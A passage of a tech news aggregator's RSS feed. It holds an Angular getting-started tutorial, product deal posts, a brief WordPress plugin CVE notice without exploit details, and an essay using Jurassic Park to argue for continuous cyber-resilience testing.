<li>The agents footer hint now shows how many background agents are waiting on your input, with a brief color emphasis when the count changes</li>
<li>Agent view: the session you pressed ← from stays visibly marked even after mouse hover or arrow keys move the selection</li>
<li>Fable temporarily shows as unavailable in the advisor picker while a server-side issue causing Fable advisor failures is fixed</li>
</ul>]]></content:encoded>
</item>
<item>
<title><![CDATA[Get started with Angular: Introducing the modern reactive workflow]]></title>
<description><![CDATA[Angular is a cohesive, all-in-one reactive framework for web development. It is one of the larger reactive frameworks, focused on being a single architectural system that handles all your web development needs under one idiom. While Angular was long criticized for being heavyweight as compared to...]]></description>
<link>https://tsecurity.de/de/3665664/ai-nachrichten/get-started-with-angular-introducing-the-modern-reactive-workflow/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3665664/ai-nachrichten/get-started-with-angular-introducing-the-modern-reactive-workflow/</guid>
<pubDate>Mon, 13 Jul 2026 17:04:25 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div><div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">Angular is a cohesive, all-in-one <a href="https://www.infoworld.com/article/3962039/what-you-need-to-know-about-angular-react-vue-and-svelte-popular-javascript-frameworks-compared.html">reactive framework</a> for web development. It is one of the larger reactive frameworks, focused on being a single architectural system that handles all your web development needs under one idiom. While Angular was long criticized for being heavyweight as compared to <a href="https://www.infoworld.com/article/2253289/react-tutorial-get-started-with-the-reactjs-javascript-library.html">React</a>, many of those issues <a href="https://www.infoworld.com/article/3964105/catching-up-with-angular-19.html">were addressed in Angular 19</a>. Modern Angular is built around the <a href="https://blog.angular-university.io/angular-signals">Signals API</a> and minimal formality, while still delivering a one-stop-shop that includes dependency injection and integrated routing.</p>



<p class="wp-block-paragraph">Angular is popular with the enterprise because of its stable, curated nature, but it is becoming more attractive to the wider developer community thanks to its more <a href="https://www.infoworld.com/article/3802707/angular-team-unveils-strategy-for-2025.html">community engaged development philosophy</a>. That, along with its recent technical evolution, make Angular one of the most interesting projects to watch right now.</p>



<h2 class="wp-block-heading">Why choose Angular?</h2>



<p class="wp-block-paragraph"><a href="https://www.infoworld.com/article/2336227/whats-the-best-javascript-framework.html">Choosing a JavaScript development framework</a> sometimes feels like a philosophical debate, but it should be a practical decision. Angular is unique because it is strongly opinionated. It doesn’t just give you a view layer; it provides a complete toolkit for building web applications.</p>



<p class="wp-block-paragraph">Like other reactive frameworks, Angular is built around its reactive engine, which lets you bind state (variables) to the view. But if that’s all you needed, one of the smaller, more focused frameworks would be more than enough. What Angular has that some of these other frameworks don’t is its ability to use data binding to automatically synchronize data from your user interface (UI) with your JavaScript objects. Angular also leverages dependency injection and inversion of control to help structure your application and make it easier to test. And it contains more advanced features like server-side rendering (SSR) and static-site generation (SSG) within itself, rather than requiring you to engage a <a href="https://www.infoworld.com/article/3831686/plug-and-play-web-development-with-astro-js.html">meta-framework</a> for either style of development.</p>



<p class="wp-block-paragraph">While Angular might not be your top choice for every occasion, it’s an excellent option for larger projects that require features you won’t get with a more lightweight framework.</p>



<p class="wp-block-paragraph"><strong>Also see: <a href="https://www.infoworld.com/article/3964105/catching-up-with-angular-19.html" data-type="link" data-id="https://www.infoworld.com/article/3964105/catching-up-with-angular-19.html">Catching up with Angular 19</a>.</strong></p>



<h2 class="wp-block-heading">Getting started with Angular</h2>



<p class="wp-block-paragraph">With those concepts in mind, let’s set up Angular in your development environment. After that, we can run through developing a web application with Angular. To start, make sure you have Node and NPM installed. From the command line, enter:</p>



<pre class="wp-block-code"><code>$ node -v
$ npm -v</code></pre>



<p class="wp-block-paragraph">Next, you can use the Angular CLI to launch a new app:</p>



<pre class="wp-block-code"><code>$ ng new iw-ng</code></pre>



<p class="wp-block-paragraph">You can use the defaults in your responses to the interactive prompts shown here:</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/01/angular1.png?w=1024" alt="A screenshot of a new project setup in the Angular command-line interface." class="wp-image-4123771" width="1024" height="413" sizes="auto, (max-width: 1024px) 100vw, 1024px"></figure><p class="imageCredit">Matthew Tyson</p></div>



<p class="wp-block-paragraph">We now have a basic project layout in the new directory, which you can import into an IDE (such as <a href="https://www.infoworld.com/article/2254808/get-started-with-visual-studio-code.html" data-type="link" data-id="https://www.infoworld.com/article/2254808/get-started-with-visual-studio-code.html">VS Code</a>) or edit directly.</p>



<p class="wp-block-paragraph">Looking at the project layout, you might notice it is fairly lean, a break from Angular projects of the past. The most important parts are:</p>



<ul class="wp-block-list">
<li><code>src/main.ts</code>: This is the main entry point. In older versions of Angular, this file had to bootstrap a module, which then bootstrapped a component. Now, it avoids any verbose syntax, calling bootstrapApplication with your root component directly.</li>



<li><code>src/index.html</code>: The main HTML page that hosts your application. This is the standard index.html that serves all root requests in a web page and contains the  tag where your Angular component will render. It is the “body” that the “spirit” of your code animates.</li>



<li><code>src/app/app.ts</code>: The root component of your application. This single file defines the view logic and the component metadata. In the new “standalone” world, it manages its own imports, meaning you can see exactly what dependencies it uses right at the top of the file. (This is the <code></code> root element that appears in <code>src/index.html</code>.)</li>



<li><code>src/app/app.config.ts</code>: This file is new in modern Angular and replaces the old A<code>ppModule providers</code> array. It is where you configure global services, like the router or HTTP client.</li>



<li><code>angular.json</code>: The configuration file for the CLI itself. It tells the build tools how to process your code, though you will rarely need to touch this file manually anymore.</li>
</ul>



<p class="wp-block-paragraph">Here is the basic flow of how the engine renders these components:</p>



<ol start="1" class="wp-block-list">
<li><strong>The arrival (HTML)</strong>: The browser receives <code>index.html</code>. The <code></code> tag is there, but it’s empty.</li>



<li><strong>The unpacking (JavaScript)</strong>: The browser sees the <code></code> tags at the bottom of the HTML and downloads the JavaScript bundles (your compiled code) from <code>src/app/app.ts</code>.</li>



<li><strong>The assembly (Bootstrap)</strong>: The browser runs that JavaScript. The code “wakes up,” finds the <code></code> tag in the DOM, and dynamically inserts your title, buttons, and lists.</li>
</ol>



<p class="wp-block-paragraph">This flow will be different if you are using server-side rendering (SSR), but we’ll leave that option aside for now. Now that you’ve seen the basic architecture, let’s get into the code.</p>



<h2 class="wp-block-heading">Developing your first web app in Angular</h2>



<p class="wp-block-paragraph">If you open <code>src/app/app.ts</code> (more info <a href="http://app.ts/">here</a>) the component definition looks like this:</p>



<pre class="wp-block-code"><code>import { Component, signal } from '@angular/core';
import { RouterOutlet } from '@angular/router';

@Component({
  selector: 'app-root',
  imports: [RouterOutlet],
  templateUrl: './app.html',
  styleUrl: './app.css'
})
export class App {
  protected readonly title = signal('iw-ng');
}</code></pre>



<p class="wp-block-paragraph">Before we dissect the code, let’s run the app and see what it produces:</p>



<pre class="wp-block-code"><code>$ ng serve</code></pre>



<p class="wp-block-paragraph">You should see a page like this one at <code>localhost:4200</code>:</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/01/angular2.png?w=1024" alt="A screenshot of a Hello, World! app built with Angular." class="wp-image-4123772" width="1024" height="585" sizes="auto, (max-width: 1024px) 100vw, 1024px"></figure><p class="imageCredit">Matthew Tyson</p></div>



<p class="wp-block-paragraph">Returning to the <code>src/app.ts</code> component, notice that there are three main parts of the definition: the class, the metadata, and the view. Let’s unpack these separately.</p>



<h3 class="wp-block-heading">The class (export class App)</h3>



<p class="wp-block-paragraph">Export class <code>App</code> is vanilla TypeScript that holds your component’s data and logic. In our example, <code>title = signal(‘iw-ng’)</code> defines a piece of reactive state. Unlike older versions of Angular where data was just a plain property, here we use a <a href="https://www.solidjs.com/tutorial/introduction_signals">signal</a>. Signals are wrappers around values that notify the template precisely when they change, enabling fine-grained performance.</p>



<h3 class="wp-block-heading">The metadata (@Component)</h3>



<p class="wp-block-paragraph">The <code>@Component</code> decorator tells Angular it is dealing with a component, not just a generic class. There are several elements involved in the decorator’s communication with the engine:</p>



<ul class="wp-block-list">
<li><code>selector: 'app-root'</code>: Defines the custom HTML tag associated with any given component. Angular finds <code></code> in your <code>index.html</code> and renders the component there.</li>



<li><code>imports</code>: In the new Angular era, dependencies are explicit. You list exactly what a component needs (like <code>RouterOutlet</code> or other components) here, rather than hiding them in a separate module file.</li>



<li><code>templateUrl</code>: Points to the external HTML file that defines the view.</li>
</ul>



<h3 class="wp-block-heading">The view (the template)</h3>



<p class="wp-block-paragraph">This is the visual part of the component, defined in <code>app.html</code>. It combines standard HTML with Angular’s template syntax. (JSX handles this part for React-based apps.)</p>



<p class="wp-block-paragraph">We can modify <code>src/app/app.html</code> to see how these three elements work together. To start, delete the default content and add the following:</p>



<pre class="wp-block-code"><code><h1>Hello, {{ title() }}</h1>
</code></pre>



<p class="wp-block-paragraph">The double curly braces <code>{{ }}</code> are called <a href="https://angular.dev/guide/templates/binding">interpolation</a>. Notice the parentheses in <code>title()</code>. We are reading the “title” signal value by calling its function. If you were to update that signal programmatically (e.g., <code>this.title.set('New Value')</code>), the text on the screen would update instantly.</p>



<h2 class="wp-block-heading">Angular’s built-in control flow</h2>



<p class="wp-block-paragraph">Old-school Angular required “structural directives” like <code>*ngIf</code> and <code>*ngFor</code> logic control. These were powerful but required importing <code>CommonModule</code> and learning a specific micro-syntax. Modern Angular uses a built-in control flow that looks like standard JavaScript (similar to other Reactive platforms).</p>



<p class="wp-block-paragraph">To see the new control flow in action, let’s add a list to our component. Update <code>src/app/app.ts</code> as follows, leaving the rest of the file the same:</p>



<pre class="wp-block-code"><code>export class App {
  protected readonly title = signal('iw-ng');
  protected readonly frameworks = signal(['Angular', 'React', 'Vue', 'Svelte']);
  protected showList = signal(true);

  toggleList() {
    this.showList.update(v =&gt; !v);
  }
}</code></pre>



<p class="wp-block-paragraph">While we’re at it, let’s also update <code>src/app/app.html</code> to render this new list (don’t worry about <code></code> for now; it just tells Angular where to render the framing template):</p>



<pre class="wp-block-code"><code><button>Toggle List</button>

@if (showList()) {
  <ul>
    @for (tech of frameworks(); track tech) {
      <li>{{ tech }}</li>
    }
  </ul>
} @else {
  <p>List is hidden</p>
}

</code></pre>



<p class="wp-block-paragraph">The app will now display a list that can be toggled for visibility:</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/01/angular3.png?w=1024" alt="Screenshot of a list that can be toggled on and off for visibility." class="wp-image-4123773" width="1024" height="585" sizes="auto, (max-width: 1024px) 100vw, 1024px"></figure><p class="imageCredit">Matthew Tyson</p></div>



<p class="wp-block-paragraph">This syntax is cleaner and easier to read than the old <code>*ngFor</code> loops:</p>



<ul class="wp-block-list">
<li><code>@if</code> conditionally renders the block if the signal’s value is true.</li>



<li><code>@for</code> iterates over the array. The track keyword is required for performance (it tells Angular how to identify unique items in the list).</li>



<li><code>(click)</code> is an <a href="https://angular.dev/guide/templates/event-listeners">event binding</a>. It lets us run code (the <code>toggleList</code> method) when the user interacts with the button.</li>
</ul>



<h2 class="wp-block-heading">Services: Managing business logic in Angular</h2>



<p class="wp-block-paragraph">Components focus on the view (i.e., what you see). For the business logic that backs the application functionality, we use services.</p>



<p class="wp-block-paragraph">A service is just a class that can be “injected” into a component that needs it. This is Angular’s famous dependency injection system. It allows you to write logic once and reuse it anywhere. It’s a slightly different way of thinking about how an application is wired together, but it gives you real organizational benefits over time.</p>



<p class="wp-block-paragraph">To generate a service, you can use the CLI:</p>



<pre class="wp-block-code"><code>$ ng generate service frameworks</code></pre>



<p class="wp-block-paragraph">This command creates a <code>src/app/hero.ts</code> file. In modern Angular, we define services using the <code>@Injectable</code> decorator. Currently, the <code>src/app/hero.ts</code> file just has this:</p>



<pre class="wp-block-code"><code>import { Injectable } from '@angular/core';

@Injectable({
  providedIn: 'root',
})
export class Frameworks {
  
}</code></pre>



<p class="wp-block-paragraph">Open the file and add a simple method to return our data:</p>



<pre class="wp-block-code"><code>import { Injectable } from '@angular/core';

@Injectable({
  providedIn: 'root', // Available everywhere in the app
})
export class Frameworks {
  getList() {
    return ['Angular', 'React', 'Vue', 'Svelte'];
  }
}</code></pre>



<p class="wp-block-paragraph">The providedIn: <code>'root'</code> metadata is important, it tells Angular to create a single, shared instance of this service for the entire application (you might recognize this as an instance of the <a href="https://en.wikipedia.org/wiki/Singleton_pattern">singleton pattern</a>).</p>



<h3 class="wp-block-heading">Using the service</h3>



<p class="wp-block-paragraph">In the past, we had to list dependencies in the constructor. Modern Angular offers a cleaner way: the <code>inject()</code> function. Subsequently, we can refactor our <code>src/app/app.ts</code> to get its data from the service instead of hardcoding it:</p>



<pre class="wp-block-code"><code>import { Component, inject, signal } from '@angular/core';
import { RouterOutlet } from '@angular/router';
import { Frameworks } from './frameworks'; // Import the service

@Component({
  selector: 'app-root',
  imports: [RouterOutlet],
  templateUrl: './app.html',
  styleUrl: './app.css'
})
export class App {
  private frameworksService = inject(Frameworks); // Dependency Injection
  
  protected readonly title = signal('iw-ng');
  
  // Initialize signal with data directly from the service
  protected readonly frameworks = signal(this.frameworksService.getList());
  protected showList = signal(true);

  toggleList() {
    this.showList.update(v =&gt; !v);
  }
}</code></pre>



<p class="wp-block-paragraph">Dependency injection is a powerful pattern. The component doesn’t need to know where the list came from (it could be coming from an API, a database, or a hard-coded array); it just asks the service for what it needs. This pattern adds a bit of extra work up front, but it delivers a more flexible, organized codebase as the app grows in size and complexity.</p>



<h2 class="wp-block-heading">Routers and routes</h2>



<p class="wp-block-paragraph">Once your application grows beyond a single view, you need a way to navigate between different screens. In Angular, we use the built-in router for this purpose. In our example project, <code>src/app/app.routes.ts </code>is the dedicated home for the router config. Let’s follow the steps for creating a new route.</p>



<p class="wp-block-paragraph">First, we define the route. When you open <code>src/app/app.routes.ts</code>, you will see an exported routes array. This array contains the available routes for your app. Each string name resolves to a component that handles rendering that route. In effect, this is the map of your application’s landscape.</p>



<p class="wp-block-paragraph">In a real application, you’d often have “framing template” material in the root of the app (like the navbar) and then the routes fill in the body content. (Remember that by default, Angular is designed for single-page apps, where navigation does reload the screen, but swaps content.)</p>



<p class="wp-block-paragraph">For now, let’s just get a sense of how the router works. First, create a new component so we have a destination to travel to. In your terminal, run:</p>



<pre class="wp-block-code"><code>$ ng generate component details</code></pre>



<p class="wp-block-paragraph">This will generate a simple <code>details</code> component in the <code>src/app/details</code> directory.</p>



<p class="wp-block-paragraph">Now we can update <code>src/app/app.routes.ts</code> to include this new path. We will also add a “default” path that redirects empty requests to the home view, ensuring the user always lands somewhere:</p>



<pre class="wp-block-code"><code>import { Routes } from '@angular/router';
import { App } from './app'; // Matches src/app/app.ts
import { Details } from './details/details'; // Matches src/app/details/details.ts

export const routes: Routes = [
  { path: '', redirectTo: '/home', pathMatch: 'full' },
  { path: 'home', component: App },
  { path: 'details', component: Details },
];</code></pre>



<p class="wp-block-paragraph">Now if you visit <code>localhost:4200/home</code>, you’ll get the message from the <code>details</code> component: “Details works!”</p>



<p class="wp-block-paragraph">Next, we’ll use the <code>routerLink</code> directive to move between views without refreshing the page. In <code>src/app/app.html</code>,  we create a navigation bar that sits permanently at the top of the page (the “stationary” element), while the router swaps the content below it (the “impermanent” element):</p>



<pre class="wp-block-code"><code><nav>
  <a>Home</a> | 
  <a>Details</a>
</nav>

<hr>

</code></pre>



<p class="wp-block-paragraph">And with that, the application has a navigation flow. The user clicks, the URL updates, and the content transforms, all without the jarring flicker of a browser reload.</p>



<h2 class="wp-block-heading">Parametrized routes</h2>



<p class="wp-block-paragraph">The last thing we’ll look at is handling route parameters, where the route accepts variables in the path. To manage this kind of dynamic data, you define a route with a variable, marked by a colon. Open <code>src/app/app.routes.ts</code> and add a dynamic path:</p>



<pre class="wp-block-code"><code>export const routes: Routes = [
  // ... existing routes
  { path: 'details/:id', component: Details }, 
];</code></pre>



<p class="wp-block-paragraph">The <code>:id</code> is a placeholder. Whether the URL is <code>/details/42</code> or <code>/details/108</code>, this router will receive it because it matches the path. Inside the details component, we have access to this parameter (using the <a href="https://angular.dev/api/router/ActivatedRoute">ActivatedRoute</a> service or the new <a href="https://angular.dev/api/router/withComponentInputBinding">withComponentInputBinding</a>). We can use that value to retrieve the data we need (like using it to recover a detail item from a database).</p>



<h2 class="wp-block-heading">Conclusion</h2>



<p class="wp-block-paragraph">We have seen the core elements of modern Angular: Setting up the environment, building reactive components with signals, organizing logic with services, and tying it all together with interactive routing.</p>



<p class="wp-block-paragraph">Deploying these pieces together is the basic work in Angular. Once you get comfortable with it, you have an extremely powerful platform at your fingertips. And, when you are ready to go deeper, there is a whole lot more to explore in Angular, including:</p>



<ul class="wp-block-list">
<li>State management: Beyond signals, Angular has support for managing complex, application-wide state.</li>



<li>Forms: Angular has a robust system for handling user input.</li>



<li>Signals: We only scratched the surface of signals here. Signals offer a powerful, fine-grained way to manage state changes.</li>



<li>Build: You can learn more about producing production builds.</li>



<li><a href="https://www.infoworld.com/article/3964105/catching-up-with-angular-19.html" data-type="link" data-id="https://www.infoworld.com/article/3964105/catching-up-with-angular-19.html">RxJS</a>: Takes reactive programming to the next level.</li>
</ul>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Get Peace of Mind: Protect Data for Life With BigMind DR for $59.99]]></title>
<description><![CDATA[With a lifetime subscription to BigMIND DR, you can recover your data for 83% off the regular price of $357. The post Get Peace of Mind: Protect Data for Life With BigMind DR for $59.99 appeared first on TechRepublic. This…
Read more →
The post Get Peace of Mind: Protect Data for Life With BigMin...]]></description>
<link>https://tsecurity.de/de/3665580/it-security-nachrichten/get-peace-of-mind-protect-data-for-life-with-bigmind-dr-for-5999/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3665580/it-security-nachrichten/get-peace-of-mind-protect-data-for-life-with-bigmind-dr-for-5999/</guid>
<pubDate>Mon, 13 Jul 2026 16:36:25 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>With a lifetime subscription to BigMIND DR, you can recover your data for 83% off the regular price of $357. The post Get Peace of Mind: Protect Data for Life With BigMind DR for $59.99 appeared first on TechRepublic. This…</p>
<p class="more-link-p"><a class="more-link" href="https://www.itsecuritynews.info/get-peace-of-mind-protect-data-for-life-with-bigmind-dr-for-59-99/">Read more →</a></p>
<p>The post <a href="https://www.itsecuritynews.info/get-peace-of-mind-protect-data-for-life-with-bigmind-dr-for-59-99/">Get Peace of Mind: Protect Data for Life With BigMind DR for $59.99</a> appeared first on <a href="https://www.itsecuritynews.info/">IT Security News</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Get Peace of Mind: Protect Data for Life With BigMind DR for $59.99]]></title>
<description><![CDATA[With a lifetime subscription to BigMIND DR, you can recover your data for 83% off the regular price of $357.
The post Get Peace of Mind: Protect Data for Life With BigMind DR for $59.99 appeared first on TechRepublic.]]></description>
<link>https://tsecurity.de/de/3665578/it-nachrichten/get-peace-of-mind-protect-data-for-life-with-bigmind-dr-for-5999/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3665578/it-nachrichten/get-peace-of-mind-protect-data-for-life-with-bigmind-dr-for-5999/</guid>
<pubDate>Mon, 13 Jul 2026 16:32:23 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>With a lifetime subscription to BigMIND DR, you can recover your data for 83% off the regular price of $357.</p>
<p>The post <a href="https://www.techrepublic.com/article/bigmind-data-recovery-lifetime-subscription/">Get Peace of Mind: Protect Data for Life With BigMind DR for $59.99</a> appeared first on <a href="https://www.techrepublic.com/">TechRepublic</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[How to Recover Permanently Deleted Files for Free?]]></title>
<description><![CDATA[Losing an important file by mistake can be frustrating, especially if you’ve already emptied the Recycle...
The post How to Recover Permanently Deleted Files for Free? appeared first on Fossbytes.]]></description>
<link>https://tsecurity.de/de/3665187/linux-tipps/how-to-recover-permanently-deleted-files-for-free/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3665187/linux-tipps/how-to-recover-permanently-deleted-files-for-free/</guid>
<pubDate>Mon, 13 Jul 2026 14:08:56 +0200</pubDate>
<category>🐧 Linux Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Losing an important file by mistake can be frustrating, especially if you’ve already emptied the Recycle...</p>
<p>The post <a rel="nofollow" href="https://fossbytes.com/how-to-recover-permanently-deleted-files-for-free/">How to Recover Permanently Deleted Files for Free?</a> appeared first on <a rel="nofollow" href="https://fossbytes.com/">Fossbytes</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[CVE-2026-57698 | Villame Abandoned Cart Recovery for WooCommerce Plugin up to 1.1.12 on WordPress improper authentication]]></title>
<description><![CDATA[A vulnerability was found in Villame Abandoned Cart Recovery for WooCommerce Plugin up to 1.1.12 on WordPress. It has been declared as problematic. Affected is an unknown function. Executing a manipulation can lead to improper authentication.

This vulnerability is tracked as CVE-2026-57698. The ...]]></description>
<link>https://tsecurity.de/de/3665144/sicherheitsluecken/cve-2026-57698-villame-abandoned-cart-recovery-for-woocommerce-plugin-up-to-1112-on-wordpress-improper-authentication/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3665144/sicherheitsluecken/cve-2026-57698-villame-abandoned-cart-recovery-for-woocommerce-plugin-up-to-1112-on-wordpress-improper-authentication/</guid>
<pubDate>Mon, 13 Jul 2026 13:55:16 +0200</pubDate>
<category>🕵️ Sicherheitslücken</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[A vulnerability was found in <a href="https://vuldb.com/product/villame:abandoned_cart_recovery_for_woocommerce_plugin">Villame Abandoned Cart Recovery for WooCommerce Plugin up to 1.1.12</a> on WordPress. It has been declared as <a href="https://vuldb.com/kb/risk">problematic</a>. Affected is an unknown function. Executing a manipulation can lead to improper authentication.

This vulnerability is tracked as <a href="https://vuldb.com/cve/CVE-2026-57698">CVE-2026-57698</a>. The attack can be launched remotely. No exploit exists.]]></content:encoded>
</item>
<item>
<title><![CDATA[Jurassic Park, cybersecurity and the dangerous myth of control]]></title>
<description><![CDATA[Jurassic Park wasn’t really about dinosaurs.



It was about arrogant people building systems they believed were controllable.



“Life finds a way” is probably the most famous line from the entire franchise. Ian Malcolm’s warning that no matter how sophisticated the technology becomes, no matter...]]></description>
<link>https://tsecurity.de/de/3664863/it-security-nachrichten/jurassic-park-cybersecurity-and-the-dangerous-myth-of-control/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3664863/it-security-nachrichten/jurassic-park-cybersecurity-and-the-dangerous-myth-of-control/</guid>
<pubDate>Mon, 13 Jul 2026 12:08:23 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p>Jurassic Park wasn’t really about dinosaurs.</p>



<p>It was about arrogant people building systems they believed were controllable.</p>



<p>“Life finds a way” is probably the most famous line from the entire franchise. Ian Malcolm’s warning that no matter how sophisticated the technology becomes, no matter how expensive the fences are, and no matter how confident the operators feel, nature eventually escapes containment.</p>



<figure class="wp-block-embed is-type-video is-provider-youtube wp-block-embed-youtube wp-embed-aspect-16-9 wp-has-aspect-ratio"><div class="wp-block-embed__wrapper youtube-video">

</div></figure>



<p>And in every movie, it does.</p>



<p>The dinosaurs always get out. The systems fail. Eventually, the humans lose control.</p>



<p>What makes Jurassic Park fascinating is that despite advanced monitoring, complex containment systems and sophisticated operational controls, the outcome never really changes. At its core, the story is about people mistaking visibility for control.</p>



<p>Cybersecurity has the same problem.</p>



<p>For years, security teams have operated under the assumption that with enough tooling, governance, process, maturity and spend, we can build environments that are effectively secure. Maybe not perfect, but secure enough that compromise becomes rare and manageable.</p>



<p>But attackers find a way.</p>



<p>Given enough time, skill or motivation, they eventually identify the weakness nobody considered. The overlooked privilege. The dependency nobody mapped. The misconfiguration hiding behind layers of dashboards, process, and compliance reporting.</p>



<p>We are already seeing this play out. Nation-state attacks are becoming increasingly sophisticated, while AI-driven exploit discovery is beginning to compress vulnerability research from weeks into minutes.</p>



<p>The raptors are learning faster now.</p>



<h2 class="wp-block-heading">Mistaking visibility for control</h2>



<p>That does not mean prevention no longer matters. The fences in Jurassic Park still slowed the dinosaurs down. They created friction. They reduced exposure. Modern security controls do the same thing.</p>



<p>But the failure in Jurassic Park was never simply that the fences broke.</p>



<p>It was that the entire system assumed the fences represented certainty.</p>



<p>Cybersecurity often makes the same mistake.</p>



<p>The industry has become incredibly good at demonstrating preparedness in controlled environments. Dashboards. Compliance reports. Tabletop exercises. RTO metrics. Recovery attestations.</p>



<p>Jurassic Park had dashboards too.</p>



<p>The problem is that <a href="https://www.csoonline.com/article/4157486/cisos-tackle-the-ai-visibility-gap.html">visibility is often mistaken for survivability</a>. Organizations can prove they monitored the environment, documented the process, and ran the exercise, while still having very little confidence that the business could continue operating during a genuine systemic failure.</p>



<p>Most organizations still operate with an implicit belief that compromise is exceptional rather than inevitable. Disaster recovery plans, business continuity workshops, and annual tabletop exercises are treated as evidence of resilience. In reality, many of them are carefully controlled simulations of a world that no longer exists.</p>



<p>Traditional disaster recovery was designed for an era where infrastructure changed slowly, applications were relatively static, and dependencies were limited enough that recovery assumptions could remain valid for months or even years.</p>



<p>That world is gone. AI killed it.</p>



<p>Environments now evolve constantly. Cloud infrastructure changes daily. AI-assisted development accelerates release cycles. Applications rely on sprawling third-party ecosystems. APIs connect systems in ways many organizations do not fully understand. Entire workloads appear and disappear dynamically.</p>



<p>The environment you tested last quarter may no longer exist today.</p>



<p>And yet many resilience programs still operate as if annual or quarterly testing provides meaningful confidence.</p>



<p>Most companies do not really test resilience.</p>



<p>They test optimism.</p>



<h2 class="wp-block-heading">The backup fallacy</h2>



<p>And nowhere is this overconfidence more obvious than <a href="https://www.csoonline.com/backup-recovery/">backups</a>.</p>



<p>Somewhere along the way, organizations confused “having backups” with “being resilient.” Those are not remotely the same thing.</p>



<p>A backup simply proves you stored a copy of something at a specific point in time. It does not prove you can survive.</p>



<p>Most recovery models were designed in the late 90s and early 2000s for relatively static systems and predictable infrastructure. The core philosophy has barely evolved since then, even as environments have become increasingly distributed, ephemeral, and interconnected.</p>



<p>Restoring data is not the same as restoring operations.</p>



<p>Restoring infrastructure is not the same as restoring business functionality. Modern application are complex and rely on ephemeral elements, third party components and applications as well as complex data flows not just data sets.</p>



<p>Very few organizations continuously validate whether they can recover full feature-function applications, maintain operational workflows, preserve data integrity, reconnect dependencies, restore permissions correctly, or continue operating under active attack conditions.</p>



<p>We built incredibly sophisticated telemetry for understanding how we die.</p>



<p>We built almost none for proving we can survive.</p>



<p>That gap is becoming impossible to ignore.</p>



<p>The recent rise of continuous resilience testing and recovery validation is not accidental. It reflects a growing realization that recovery assumptions themselves may no longer be trustworthy.</p>



<p>Static resilience models are struggling to survive dynamic infrastructure.</p>



<p>This is where resilience starts becoming an engineering problem rather than a compliance exercise.</p>



<h2 class="wp-block-heading">When restoration assumptions fail</h2>



<p>Because the real question is no longer, “How quickly can we restore the application?”</p>



<p>The real question is, “What happens if we cannot restore it?”</p>



<p>Jurassic Park repeatedly explored exactly this scenario. The real panic never started when the fences failed. It started when the operators realized they could not regain control quickly enough.</p>



<p>Businesses now face the same risk.</p>



<p>What happens if AWS experiences a prolonged outage? What happens if <a href="https://www.networkworld.com/article/4127142/azure-outage-disrupts-vms-and-identity-services-for-over-10-hours.html">Azure Identity Services fail</a> globally? What happens if Stripe, Salesforce, Slack, or Microsoft 365 disappear for days rather than hours?</p>



<p>Many organizations do not actually have business continuity strategies for those situations.</p>



<p>They have restoration assumptions.</p>



<p>Twenty years ago, most organizations directly owned large portions of their operational stack. Today, companies increasingly rent critical business capability from a relatively small number of providers.</p>



<p>Identity. Infrastructure. Communications. Payments. Collaboration. Customer operations.</p>



<p>The efficiency gains are enormous.</p>



<p>So is the concentration risk.</p>



<h2 class="wp-block-heading">Resilience as an engineering discipline</h2>



<p>Historically, business continuity planning assumed localized disruption. A building burned down. A regional data center failed. A storm impacted an office. The internet itself was not the dependency.</p>



<p>Today, entire businesses are built on tightly interconnected SaaS and cloud ecosystems where operational survivability depends on third parties remaining continuously available.</p>



<p>We optimized organizations for efficiency, automation, integration, and scale.</p>



<p>Not necessarily survivability.</p>



<p>That is why resilience needs to evolve beyond annual tabletop exercises and static recovery plans.</p>



<p>True resilience is not a binder sitting on a shelf. It is not a workshop performed once a year. It is not a recovery document written against an environment that changed six months ago.</p>



<p>It is a continuous understanding of the environment itself.</p>



<p>It requires live telemetry, operational visibility, dependency awareness, continuous validation, and the ability to adapt under changing conditions.</p>



<h2 class="wp-block-heading">Adapting to chaos</h2>



<p>The survivors in Jurassic Park only succeeded once they stopped pretending the environment was fully controllable and instead adapted to the reality in front of them.</p>



<p>Cybersecurity needs to make the same shift.</p>



<p>Attackers will keep adapting.</p>



<p>AI will accelerate faster than most governance models can handle.</p>



<p>Complexity will continue to outpace our assumptions about control.</p>



<p>The organizations that survive will not necessarily be the ones with the tallest fences. They will be the ones who understand their environments deeply enough to continue operating when control is lost.</p>



<p>The goal was never to eliminate chaos.</p>



<p>It was to survive long enough to adapt to it.</p>



<p>Because resilience is not about preventing chaos.</p>



<p>It is about operating through it.</p>



<p>Because eventually, one way or another, life finds a way.</p>



